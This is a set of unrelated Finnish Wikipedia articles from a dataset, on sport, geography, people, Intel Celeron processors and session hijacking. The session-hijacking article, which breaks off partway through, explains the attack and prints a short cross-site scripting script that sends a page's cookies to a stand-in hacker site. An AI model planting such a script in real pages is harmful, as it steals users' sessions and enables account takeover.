stanford-oval/wikipedia huggingface dataset:
Jalkapallon maailmanmestaruuskilpailujen 1990 loppuottelu
Ottelu

|  Saksa |  Saksa |  Saksa |  Argentiina |  Argentiina |  Argentiina |
| --- | --- | --- | --- | --- | --- |
Aloituskokoonpano
| Pelipaikka | Pelaaja | Tapahtumat | Pelipaikka | Pelaaja | Tapahtumat |
| Maalivahti | Bodo Illgner |  | Maalivahti | Sergio Goycochea |  |
| Puolustaja | Klaus Augenthaler |  | Puolustaja | Oscar Ruggeri |  46' |
| Puolustaja | Thomas Berthold |  73' | Puolustaja | Juan Simón |  |
| Puolustaja | Guido Buchwald |  | Puolustaja | José Serrizuela |  |
| Puolustaja | Jürgen Kohler |  | Keskikenttä | José Basualdo |  |
| Puolustaja | Andreas Brehme |  | Keskikenttä | Pedro Troglio |  84' |
| Keskikenttä | Thomas Häßler |  | Keskikenttä | Néstor Lorenzo |  |
| Keskikenttä | Lothar Matthäus (c) |  | Keskikenttä | Roberto Sensini |  |
| Keskikenttä | Pierre Littbarski |  | Keskikenttä | Jorge Burruchaga |  53' |
| Hyökkääjä | Rudi Völler |  52' | Hyökkääjä | Gustavo Dezotti |  8'  87' |
| Hyökkääjä | Jürgen Klinsmann |  | Hyökkääjä | Diego Maradona (c) |  87' |
Vaihtomiehet
| Maalivahti | Raimond Aumann |  | Maalivahti | Fabián Cancelarich |  |
| Puolustaja | Stefan Reuter |  73' | Puolustaja | Edgardo Bauza |  |
| Keskikenttä | Uwe Bein |  | Puolustaja | Pedro Monzón |  46'  65' |
| Keskikenttä | Olaf Thon |  | Keskikenttä | Gabriel Calderón |  53' |
| Hyökkääjä | Karl-Heinz Riedle |  | Hyökkääjä | Abel Balbo |  |
Valmentajat
|  Franz Beckenbauer |  Franz Beckenbauer |  Franz Beckenbauer |  Carlos Bilardo |  Carlos Bilardo |  Carlos Bilardo |
Joukkueen kapteeni on merkitty (c) -merkinnällä 
 Joukkue sai nimetä viisi vaihtomiestä, käytettävissä oli kaksi vaihtoa
Aiheesta muualla

https://www.telegraph.co.uk/sport/football/world-cup/10961295/Germany-v-Argentina-1990-World-Cup-final-Germans-triumph-is-sullied-as-Argentina-are-disgraced.html
Donald Piper

| Mitalit> Miesten koripallo.Maa:   Yhdysvallat. Olympialaiset  | Mitalit> Miesten koripallo.Maa:   Yhdysvallat. Olympialaiset  | Mitalit> Miesten koripallo.Maa:   Yhdysvallat. Olympialaiset  | Miesten koripallo> Maa:   Yhdysvallat. |
| --- | --- | --- | --- |
|  Kultaa | Berliini 1936 |  |  |
Donald Arthur ”Don” Piper (5. maaliskuuta 1911 Peoria, Illinois – 25. maaliskuuta 1963 Temple City, Kalifornia) oli yhdysvaltalainen koripalloilija ja olympiavoittaja.
Piper kuului Yhdysvaltain olympiakultaa Berliinissä 1936 voittaneeseen joukkueeseen.
Eero Laitala

| Eero Laitala> Henkilötiedot |
| --- | --- |
Koko nimi:  Eero Laitala
Kansalaisuus:   Suomi
Koripalloilija
Pelaajaura
Seurajoukkueet
1956–1959:   Tampereen Pyrintö
Valmennusura
1962–1963:   Tampereen Pyrintö (naiset)
Eero Laitala on suomalainen aktiiviuransa lopettanut koripalloilija ja koripallovalmentaja.
Laitala pelasi Suomen pääsarjaa neljä kautta vuosina 1956–1959 Tampereen Pyrinnössä, jossa saavutti SM-hopeaa kaudella 1958.
Kauden 1962–1963 Laitala toimi Pyrinnön SM-sarjassa kuudenneksi sijoittuneen naisten edustusjoukkueen valmentajana.
Tilastot

| Kausi | Joukkue | Sarja | O | PTS | PTS YHT |
| --- | --- | --- | --- | --- | --- |
| 1956 | Tampereen Pyrintö | SM-sarja | 22 | 2,2 | 48 |
| 1957 | Tampereen Pyrintö | SM-sarja | 18 | 0,6 | 11 |
| 1958 | Tampereen Pyrintö | SM-sarja | 22 | 1,4 | 30 |
| 1959 | Tampereen Pyrintö | SM-sarja | 9 | – | – |
| Yhteensä | Yhteensä | SM-sarja | 71 | 1,3 | 89 |
O = ottelut, PTS = pistekeskiarvo, PTS YHT = pisteet yhteensä
Dojran

| Dojran / Doïráni Дојранско Езеро / Δοϊράνη |
| --- | --- |
 Doïráni-järvi.
Valtiot:   Kreikka  Pohjois-Makedonia
Paikkakunta:  Makedonia 
Koordinaatit:  41°12′43″N, 22°44′36″E
Mittaustietoja
Pinnankorkeus:  160 m
Pituus:  8,9  km
Leveys:  7,1  km 
Pinta-ala:  43,1 km²
Tilavuus:  0,08 km3 
Suurin syvyys:  10 m
Valuma-alue:  271,8 km2 
 fiDojran / Doïráni 
Dojran (mak. Дојранско Езеро, Dojransko Ezero) eli Doïráni (kreik. Δοϊράνη) on järvi Kreikan ja Pohjois-Makedonian rajalla. Järven pinta-ala on 43,1 neliökilometriä. Tästä Makedonian tasavallan puolella on 27,3 neliökilometriä ja Kreikan puolella 15,8 neliökilometriä. Tämä tekee siitä Makedonian tasavallan kolmanneksi suurimman ja Kreikan 11. suurimman luonnonjärven. Dojranjärvi on suurimmillaan noin 8,9 kilometriä pitkä ja noin 7,1 kilometriä leveä. Järvi sijaitsee 160 metrin korkeudella merenpinnasta ja sen suurin syvyys on 10 metriä.
Doïráni-järvi.
Dojranjärvi on pyöreähkö. Valtioiden raja kulkee järven poikki pohjois-eteläsuunnassa. Länsipuoli kuuluu Pohjois-Makedoniaan ja itäpuoli Kreikkaan. Kreikan puolella järven rannalla sijaitsee Doïránin kylä. Doïránin kunnallisyksikkö, entinen itsenäinen kunta, on Kilkíksen kunnan osa. Järven koillisrannalla sijaitsee Mouriésin kylä ja länsirannalla Pohjois-Makedonian puolella Nov Dojranin kylä. Belasitsa- eli Bélles-vuoret sijaitsevat järven koillispuolella.
Järvellä käytiin Dojranjärven taistelut ensimmäisessä maailmansodassa sekä vuonna 1917 että vuonna 1918. Sen rannalla on brittiläisten ja kreikkalaisten kaatuneiden hautausmaat.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Dojran eli Doïráni Wikimedia Commonsissa
Edvin Hammarén

Johan Edvin Hammarén (24. elokuuta 1873 Tampere – 2. maaliskuuta 1927 Saltsjöbaden, Ruotsi) oli suomalainen tehtaanjohtaja. Hän oli mukana perustamassa  1890-luvun lopulla Äänekosken kartonkitehdasta ja toimi myöhemmin tehtaan isännöitsijänä.
Edvin Hammarénin vanhemmat olivat kauppaneuvos Lars Johan Hammarén ja Lucy Emma Sharples. Hän pääsi ylioppilaaksi 1890 Hämeenlinnan lyseosta ja tutustui sitten ulkomailla liikealaan.
Edvin Hammarén tuli isänsä puoliksi omistaman Hammarén & Co:n palvelukseen ja ylensi vähitellen prokuristiksi. Hän oli mukana perustamassa yhdessä isänsä ja Kyröskosken tehtaiden isännöitsijän, insinööri Johan Erland Hammarénin kanssa kartonkitehdasta Äänekoskelle. Tätä varten he perustivat vuonna 1896 Äänekoski Osakeyhtiön, johon tuli vuonna 1897 osakkaaksi vielä vuorineuvos Gösta Sumelius. Äänekosken tehtaiden rakennustyöt aloitettiin sitten Johan Erland Hammarénin johdolla, ja tehtaat valmistuivat 1898. Edvin Hammarén toimi myöhemmin tehtaiden isännöitsijänä ja hoiti tätä tehtävää vuoteen 1920 saakka, jolloin joutui luopumaan tehtävästä terveydellisistä syistä. Viimeiset vuotensa Edvin Hammarén vietti pääasiassa ulkomaisissa terveyskylpylöissä. Hän kuoli maaliskuussa 1927 Saltsjöbadenissa Tukholman lähellä.
Edvin Hammarén oli naimisissa vuodesta 1896 Alma Alice Ungernin kanssa.
Intel Celeron

Intel Celeron on tuotemerkki, jolla Intel myy halvempaan hintaluokkaan sijoittuvia x86-yhteensopivia suorittimia. Celeron-mallisto täydentää kalliimpaa ja tehokkaampaa Pentium-mallistoa. Ensimmäiset Celeronit julkaistiin huhtikuussa 1998. Ne pohjautuivat Intel Pentium II:een. Myöhemmin on julkaistu myös Intel Pentium III- ja Intel Pentium 4 -pohjaisia Celeroneja.
Intel julkaisi Celeron-konseptin pian sen jälkeen, kun se alkoi menettää halpojen suorittimien markkinaosuutta Cyrix 6x86:lle ja AMD K6:lle,, joiden kanssa Intelin Pentium MMX ei enää kyennyt kilpailemaan. Intelin olisi ollut helppo valmistaa nopeampia Pentium MMX:iä, mutta se päätti jättää Socket 7 -suoritinkannan ja siirtyä Pentium II:n käyttämään Slot 1 -kantaan.
Syyskuussa 2022 Intel kertoi lopettavansa Celeronin tuotemerkin yhdessä Pentiumin kanssa, korvaten ne uudella tuotemerkillä "Intel Processor" vuodesta 2023 alkaen.
P6-pohjaiset Celeronit > Covington

Ensimmäinen Celeron (koodinimi Covington) oli käytännössä 266 megahertsin kellotaajuudella toiminut Pentium II ilman L2-välimuistia. L2-välimuistin täydellinen puuttuminen rampautti suorittimen suorituskykyä pahasti, ja usein se hävisi suorituskyvyssä jopa edellisen sukupolven Pentium MMX:lle.
Vaikka Celeronin myynti lähti hyvin käyntiin, huono suorituskyky antoi suorittimelle erittäin negatiivisen maineen. Tästä syystä myynti putosi pian pohjalukemiin.
P6-pohjaiset Celeronit > Mendocino

Intel ei halunnut toistaa samaa virhettä kahdesti, joten Mendocinon suorituskyky oli hyvä. Monien analyytikkojen mukaan niiden suorituskyky oli jopa liian hyvä, joten Mendocino söi myös Pentium II:n myyntiä. Mendocinon suorituskyvyn salaisuus oli välimuisti. Se sisälsi 128 kilotavua L2-välimuistia samalla piirillä. Vaikka Mendocinossa oli verrattaen suuri määrä transistoreita (19 miljoonaa), oli suuri osa näistä välimuistin SRAM-transistoreita, jotka menevät pieneen tilaan eikä suoritin ollut kovin paljoa Covingtonia kalliimpi valmistaa. Pentium II:een verrattuna suoritin oli selvästi halvempi valmistaa, koska erillisiä välimuistipiirejä sekä näille menevää väylää ei tarvittu.
Välimuistista johtuen Mendocino oli lähes kaksi kertaa nopeampi kuin sen edeltäjä Covington samalla kellotaajuudella. Se oli ensimmäinen PC-suoritin, jossa L2-välimuisti oli samalla piirillä muun suorittimen kanssa, minkä ansiosta välimuisti pystyi toimimaan huomattavasti nopeammin kuin erillisillä piireillä olleet välimuistit. Tietokoneharrastajat huomasivatkin pian, että Mendocinoa oli mahdollista ylikellottaa runsaasti. Ylikellotettuna se pärjäsi nopeudessa nopeimmille myynnissä olleille x86-suorittimille.
Mendocinoa myytiin 300, 333, 366, 400, 433, 466, 500 ja 533 megahertsin malleina. Kaikki käyttivät 66 megahertsin suoritinväylää, joka alkoi olla nopeimmilla malleilla suorituskykyä rajoittava tekijä. Mendocinon mukana Intel uudisti myös suorittimen paketoinnin. Ensimmäiset mallit olivat saatavilla sekä Slot 1 että Socket 370 -kantoihin, mutta 466 megahertsin malleista lähtien vain Socket 370 -malli oli saatavilla. Mendocinosta oli tarjolla myös kannettaviin tietokoneisiin sopiva malli.
P6-pohjaiset Celeronit > Coppermine-128

Seuraavan sukupolven Celeron oli koodinimeltään Coppermine-128 (jotkut harrastelijat kutsuivat nimellä Celeron II), joka julkaistiin maaliskuussa 2000. Se pohjautui Pentium III:n Coppermine-ytimeen ja sisälsi 128 kilotavua L2-välimuistia Mendocinon tapaan. Se erosi Pentium III:sta vain pienemmän välimuistinsa ja hitaamman väylänsä osalta. Väylä oli nopeudeltaan aluksi 66 megahertsiä.
Vaikka Coppermine-128:ssa oli uudistettu ydin Mendocinoon verrattuna, suorituskyvyssä ei ollut juurikaan eroa. Tämä johtui 66 megahertsin väylästä, joka oli hitaampi kuin yhdelläkään kilpailijalla. Tästä syystä Celeronin myyntimäärät olivat laskussa. Intel ei kuitenkaan siirtynyt 100 megahertsin väylään, koska ei halunnut Celeronin astuvan Pentium III:n varpaille.
Kaikki Coppermine-128:t valmistettiin Socket 370 -suoritinkantaan, kuten suurin osa Pentium III Coppermineistakin. Coppermine-128:a valmistettiin 533, 566, 600, 633, 667, 700, 733 ja 766 megahertsin malleina. Nopeimpien mallien suorituskyky oli lähes sama, sillä hidas väylä oli pullonkaula. Tämä ei kuitenkaan ollut ongelma Intelille, sillä Celeronin kilpailija oli siihen aikaan AMD K6-2, jonka suorituskyky ei riittänyt Celeronin haastamiseen. AMD julkaisi kuitenkin heinäkuussa 2000 AMD Athloniin pohjautuvan AMD Duronin, jossa oli suurempi välimuisti ja nopeampi väylä kuin Coppermine-128:ssa. Coppermine-128 ei pystynyt kilpailemaan lainkaan suorituskyvyssä Duronia vastaan.
3. tammikuuta 2001 Intel siirtyi vihdoin 100 megahertsin väylään Celeronissa, jolloin sen suorituskyky parani melkoisesti, lähes Duronin tasolle. 100 megahertsin väylää käyttävät 800, 850, 900, 950, 1000 ja 1100 megahertsin mallit. Coppermine-128:a valmistettiin vuoteen 2002 asti sen pienen virrankulutuksen ansiosta.
P6-pohjaiset Celeronit > Tualatin-pohjaiset Celeronit

Seuraava Celeron-malli pohjautui Tualatin-ytimeen. Se valmistettiin 0,13 mikrometrin prosessilla. Tualatin-Celeronille annettiin lempinimi Tualeron. Niitä valmistettiin 1000, 1100, 1200, 1300 ja 1400 megahertsin malleina. Tualeron oli muuten lähes identtinen Tualatin-pohjaisen Pentium III:n kanssa, paitsi väylä oli 100 megahertsiä Pentium III:n 133 megahertsiin verrattuna. Tualeron ylikellottui hyvin. Se sisälsi 256 kilotavua välimuistia.
Vaikka Tualeronissa oli edistyksellinen tekniikka, sitä ei silti myyty erityisen paljon, koska Pentium 4 -pohjaiset Celeronit olivat jo markkinoilla. Koska Pentium 4 -pohjaisissa Celeroneissa oli korkeampi kellotaajuus kuin Tualeroneissa, ne menestyivät markkinoilla paremmin, vaikka niiden suorituskyky oli heikompi kuin Tualeronien.
P6-pohjaiset Celeronit > Banias-512

Banias-ytimeen pohjautuvia Celeroneja myydään Celeron M -nimellä. Ne eroavat Pentium M:stä siten, että L2-välimuisti on 512 kilotavua Pentium M:n yhteen megatavuun verrattuna sekä siten, että Celeron M ei tue SpeedStep-teknologiaa, eli kellotaajuuden hidastamista silloin kun täyttä suorituskykyä ei tarvita. Tästä syystä Celeron M:n virrankulutus on paljon suurempi kuin Pentium M:ssä, vaikka suorituskyvyssä ne ovat melkein tasoissa.
P6-pohjaiset Celeronit > Dothan-1024

Tämä Celeron M perustuu Dothan-ytimeen. Se valmistetaan 90 nanometrin prosessilla. Siinä on puolet vastaavan Pentium M:n välimuistista (eli 1024 kilotavua) eikä se tue SpeedStep-teknologiaa.
P6-pohjaiset Celeronit > Shelton (eli Banias-0)

Shelton-ydin on Banias ilman L2-välimuistia ja SpeedStep-teknologiaa. Sitä käyttävät Celeronit on suunnattu Aasian ja Etelä-Amerikan markkinoille. Suoritin identifioi itsensä Celeron 1.0B:nä, joten sen erottaa aikaisemmista Coppermine-128- ja Tualeron-suorittimista.
Netburst-pohjaiset Celeronit > Willamette-128

Pentium 4:n Willamette-ytimeen perustuvat Celeronit tunnetaan usein nimellä Celeron 4. Ne eroavat täysin aikaisemmista P6-pohjaisista Celeroneista. Niissä on 128 kilotavua L2-välimuistia sekä ylikellottuvat melko hyvin.
128 kilotavun L2-välimuisti on P4-ytimelle kuitenkin onnettoman pieni ja suorituskyky näissä piireissä on jopa heikompi kuin paljon hitaammalla kellolla pyörineissä tualatin-pohjaisissa celeroneissa.
Netburst-pohjaiset Celeronit > Northwood-128

Tämä Celeron pohjautuu Northwood-ytimeen. Niissä on 128 kilotavua L2-välimuistia. Ne ovat hyvin samanlaisia kuin Willamette-pohjaiset Celeronit, ja myös nämä olivat suorituskyvyltään hyvin hitaita.
Netburst-pohjaiset Celeronit > Celeron D (Prescott-256)

Celeron D -suoritin perustuu Prescott-ytimeen. Siinä on 256 kilotavua L2-välimuistia, se käyttää 533 megahertsin väylää ja tukee SSE3-käskykantaa. 256 kilotavun L2-välimuistin ansiosta prosessorin suorituskyky on huomattavasti edeltäjiään parempi, eikä häviä kovin pahasti oikealle Pentium 4:lle
Kun Intel uudisti suorittimiensa nimeämiskäytännön, Celeron D:tä alettiin myydä 300-sarjana, kun Pentiumia myydään 500-sarjana ja Pentium M:ää 700-sarjana. Celeron D:stä on julkaistu marraskuuhun 2005 mennessä 2,12, 2,26, 2,4, 2,53, 2,66, 2,8, 2,93, 3,06 ja 3,2 gigahertsin kellotaajuuksilla toimivat mallit.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Intel Celeron Wikimedia Commonsissa
Intelin suorittimet
| --- | --- |
Aikaisemmat:   4004  4040  8008  8080  8085  8086  8088  80186  80188  80286  80386  80486  Pentium  Pentium Pro  Pentium II  Pentium III  Pentium Extreme Edition  Pentium M  Pentium D  Pentium 4 
Nykyiset:   Core  Pentium Dual-Core  Core 2  Celeron  A100  Xeon  Atom  Core i7 
ARM:   XScale  StrongARM 
IA-64:   Itanium  Itanium 2 
RISC:   i860  i960 
Muut:   iAPX 432 
GPU:   Intel GMA  Intel HD Graphics  Intel Iris Graphics 
Celeron Coppermine-128 600MHz edestä
Celeron Coppermine-128 600MHz takaa
Donald R. Dickey

Donald Ryder Dickey (31. maaliskuuta 1887 Iowa – 15. huhtikuuta 1932 Pasadena, Kalifornia) oli yhdysvaltalainen valokuvaaja ja eläintieteilijä.
Dickeyn opiskellessa viimeistä vuottaan Yalen yliopistossa hän sai vakavan sydänkohtauksen ja joutui pitkäksi ajaksi vuodelepoon. Hän kuitenkin valmistui luokkansa mukana, mutta muutti kahdeksi vuodeksi takaisin vanhempiensa luokse Pasadenaan. Hän vieraili ystävänsä maatilalla ja alkoi havainnoida lintuja. Jonkin ajan kuluttua hän hankki kameran ja aloitti valokuvaamisen kuvaamalla paikallisia lintuja ja niiden pesiä.
Toivuttuaan kokonaan vuonna 1916 Dickey alkoi ammattimaisesti kerätä ja valokuvata lintuja ja nisäkkäitä. Vuonna 1926 kokoelma oli paisunut jo lähes 30 000 lintu- ja nisäkäsnäytteeseen. Samana vuonna California Institute of Technology nimitti Dickeyn Selkärankaisten osaston tutkimusavustajaksi. Dickeyn kokoelma käsitti lopulta yli 50 000 linnun ja nisäkkään nahkaa tai luurankoa, 10 000 luonnonhistoriallista kirjaa ja 7 500 valokuvaa. Dickeyn leski Florence Van Vechten Dickey lahjoitti kokoelman vuonna 1940 Kalifornian yliopistolle (UCLA). Se on eräs maailman hienoimmista Keski-Amerikan ja Yhdysvaltain lounaisosien lintu-ja nisäkäskokoelmista.
Dickeyn apuna keräysmatkoilla toimivat muun muassa Adriaan J. van Rossem ja Laurence Markham Huey. van Rossem työskenteli Dickeyn kanssa vuodesta 1911 alkaen ja kirjoitti hänen kanssaan useita artikkeleita, sekä viimeisteli Dickeyltä kesken jääneen teoksen The Birds of El Salvador. Huey työskenteli Dickeyn kanssa 1915–1932.
Dickeyn valokuva-arkisto oli aikansa hienoimpia. Hän teki myös luontoelokuvia, ja merilintujen lentoa esittelevä filmi kiinnosti Howard Hughesin insinöörejä, jotka kehittelivät lentokoneiden siipiä.
Dickey nimesi van Rossemin kanssa useita lintujen alalajeja. Yksin hän nimesi räikkäluhtakanan (Rallus longirostris) alalajin yumanensis 1923.
EA Salt Lake

EA Salt Lake (aiemmin Headgate Studios) on yhdysvaltalainen videopelikehittäjä, jonka omistaa Electronic Arts. EA Salt Laken päämaja sijaitsee Bountifullissa, Utahissa.
Vance Cook perusti EA Salt Laken vuonna 1992 nimellä Headgate Studios. Koska Cook oli aiemmin toiminut Acces Softwaren ohjelmoijana, hänellä oli kokemusta golf-pelien kehittämisestä. Ensimmäisinä vuosinaan yritys kehittikin ainoastaan golf-pelejä, joiden julkaisijana toimi lähes aina EA. Kehittäjitiimi golfasi yleensä viikoittain yhdessä saadakseen kosketusta käsittelemäänsä aiheeseen.
Headgate Studios kehitti jokaisen Windowsille julkaistun EA Sportsin Tiger Woods golf-pelin vuodesta 2001 vuoteen 2006 asti. Yrityksen golf-pelit saivat yhtenään hyviä arvosteluja ja voittivat lukuisia palkintoja.
EA osti Headgate Studiosin 1. joulukuuta 2006, ja antoi sille uuden nimen EA Salt Lake. Pelitalon voimavarat suunnataan pelien kehittämiseen Nintendon uusimmalle konsolille Wiille.
Pelit

PentaCalc Pro
Front Page Sports: Golf
The Laptop Collection
PGA Championship Golf 2000
PGA Championship Golf 2000: Titanium Edition
Tiger Woods PGA Tour 2001 (2000)
Tiger Woods PGA Tour 2002 (2001)
Tiger Woods PGA Tour 2003 (2002)
Tiger Woods PGA Tour 2004 (2003)
Tiger Woods PGA Tour 2005 (2004)
Tiger Woods PGA Tour 06 (2005)
The Godfather: The Game (2006)
Tiger Woods PGA Tour 07 (PlayStation 2, Xbox, ja Windows (2006))
Madden NFL 07 (Windows)
Edvin Heimovalta

Elis Edvin Heimovalta, sukunimi vuoteen 1928 Heldan (27. tammikuuta 1902 Viipuri – 27. elokuuta 1976) oli suomalainen säveltäjä, sanoittaja ja kapellimestari. Hän käytti myös salanimeä Into Arpa.
Heimovalta sävelsi muun muassa mieskuorolaulun Soi metsä! Kumaja korpi, valssin En koskaan unhoita sua ja foxtrotin Harha-askeleita.
 Heimovalta sävelsi musiikkia Valentin Vaalan elokuviin Helsingin kuuluisin liikemies (1934) ja Kaikki rakastavat (1935).
Musiikkivänrikki Heimovalta toimi sotilaskapellimestarina Pioneeripataljoonassa ja vuodesta 1928 Polkupyöräpataljoona 3:ssa. Hän kutsui koolle Mikkelin Mieslaulajat-kuoron perustamiskokouksen helmikuussa 1929 mutta hän ei itse osallistunut kuoron perustamiseen ja myöhempään toimintaan.
Heimovalta kuului vuonna 1957 Totuuden Ystävät-nimisen uskonnollisen yhdyskunnan perustajiin.
Dišdaša

Miehiä dišdašoissaan Salalassa Omanissa.
Dišdaša (arab. دشداشة‎, dišdāša) on arabimiesten käyttämä pitkä perinnevaate. Sitä kutsutaan dišdašaksi lähinnä Levantin alueella Välimeren itäpäässä. Persianlahdella samanlaista asua kutsutaan nimellä thawb (arab. ثوب‎). Marokossa on käytössä lyhyempihihainen kaapu, josta käytetään nimeä gandora.
Dišdaša on yleensä valkoinen, mutta joskus myös  violetti, ruskea, sininen tai musta.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Dišdaša Wikimedia Commonsissa
Egyptian Empire Records

Egyptian Empire Records on maailman vanhin elektro-musiikin levy-yhtiö, jonka omistaa yhdysvaltalainen elektro-artisti ja DJ Egyptian Lover. Levy-yhtiö perustettiin Yhdysvalloissa vuonna 1984. Egyptian Empire Recordsilla on myös poliittista merkitystä, sillä Egyptian Lover oli ensimmäinen afroamerikkalainen levy-yhtiön perustaja.
Artisteja

Egyptian Lover
Rodney-O & Joe Cooley
Uncle Jamm’s Army
Käännös suomeksi
Elbert Root

| Mitalit> Maa:   Yhdysvallat.Miesten uimahypyt. Olympialaiset  | Mitalit> Maa:   Yhdysvallat.Miesten uimahypyt. Olympialaiset  | Mitalit> Maa:   Yhdysvallat.Miesten uimahypyt. Olympialaiset  | Maa:   Yhdysvallat> Miesten uimahypyt. |
| --- | --- | --- | --- |
|  Hopeaa | Berliini 1936 |  10 m kerroshypyt |  |
Elbert Alonzo Root (20. heinäkuuta 1915 – heinäkuu 1983) oli yhdysvaltalainen uimahyppääjä ja olympiamitalisti.
Root voitti olympiahopeaa Berliinin olympialaisissa 1936 10 metrin kerroshypyissä Yhdysvaltain ottaessa lajin kaksoisvoiton.
Istuntokaappaus

Istuntokaappaus on metodi, jota käytetään palvelinohjelmia sisältäville web-sivustoille murtautumiseen. Istunnon kaappaaminen tarkoittaa, että hyökkääjä esiintyy toisena käyttäjänä käyttämällä tämän istuntotunnistetta. Web-sivusto erehtyy tällöin pitämään hyökkääjää luvallisena käyttäjänä ja antaa tämän käyttää sivustoa toisen käyttäjän oikeuksin. Katso Mies välissä -hyökkäys.
Erilaisia tapoja kaapata istunto > Istuntotunnisteen arvaaminen

Joissakin palveluissa istuntotunnisteet ovat ennalta arvattavia. Istuntotunniste saattaa esimerkiksi koostua käyttäjän kirjautumisnimestä ja/tai aikaleimasta sekä satunnaisluvusta. Tällainen istuntotunniste on helppo arvata tarkoitusta varten tehdyllä ohjelmistolla. Siksi onkin suositeltavaa käyttää käytetyn web-ohjelmointikielen sisäistä istunnonhallintaa, joka on yleensä turvallisempi.
Erilaisia tapoja kaapata istunto > Istuntotunnisteen määrääminen

Joskus hyökkääjä voi itse määrätä käyttäjän istuntotunnisteen vihamielisellä linkillä. Mikäli istuntotunnistetta siirretään sivulta toiselle sivun URL-osoitteen mukana, saattaa hyökkääjä tehdä sivustolle linkin, johon hän liittää haluamansa istuntotunnisteen. Käyttäjän klikattua linkkiä, hän siirtyy sivustolle ja hänen istuntotunnisteekseen asetetaan hyökkääjän määrittämä tunnus. Jos käyttäjä kirjautuu sisään palveluun, voi hyökkääjä käyttää tämän istuntotunnusta. Web-sivusto luulee, että hyökkääjä on kirjautunut käyttäjä.
Erilaisia tapoja kaapata istunto > Verkon kuuntelu

Langattomissa lähiverkoissa ja keskitinverkoissa hyökkääjän on mahdollista lukea toisille tietokoneille tarkoitettua viestiliikennettä, mikäli sitä ei ole salattu. Hyökkääjä voi etsiä toisen käyttäjän istuntotunnisteen tämän verkkoliikenteen seasta ja ottaa sen käyttöönsä.
Erilaisia tapoja kaapata istunto > Vihamielisen koodin liittäminen

Joillakin sivustoilla käyttäjän antamia tietoja ei puhdisteta kunnolla. Hyökkääjän on silloin mahdollista liittää web-sivulle haluamiaan komentoja skriptikieltä käyttäen. Hän saattaisi vaikkapa kirjoittaa keskustelupalstalle viestin, joka sisältää seuraavan koodin:
<script type="text/javascript">
window.location = "http://www.hakkerinsivu.net/sivu.php?evaste=" + document.cookie;
</script>
Tämä melko viattoman näköinen koodi lähettää käyttäjän hakkerin tiedonkeräyssivuille mukanaan sivuun liittyvän evästeen sisältö. Koska istuntotunniste pidetään yleensä evästeessä, saa hyökkääjä sen tietoonsa.
Erilaisia tapoja kaapata istunto > Selainten tietoturva-aukot

Joskus selaimissa esiintyy tietoturva-aukkoja, jotka sallivat web-sivuston lukea toisen web-sivuston evästeitä. Koska istuntotunniste pidetään yleensä evästeessä, saa hyökkääjä sen tietoonsa.
Istuntokaappauksilta suojautuminen

Istuntokaappauksilta voi suojautua monin tavoin.
Istuntokaappauksilta suojautuminen > Salaus

Tietoliikenteen salaaminen on suositeltavaa aina, kun verkon yli siirretään luottamuksellista tietoa. Istuntotunnisteet ja salasanat tulisi aina siirtää salattua yhteyttä pitkin. Usein salauksen käyttö ei kuitenkaan ole mahdollista resurssisyistä.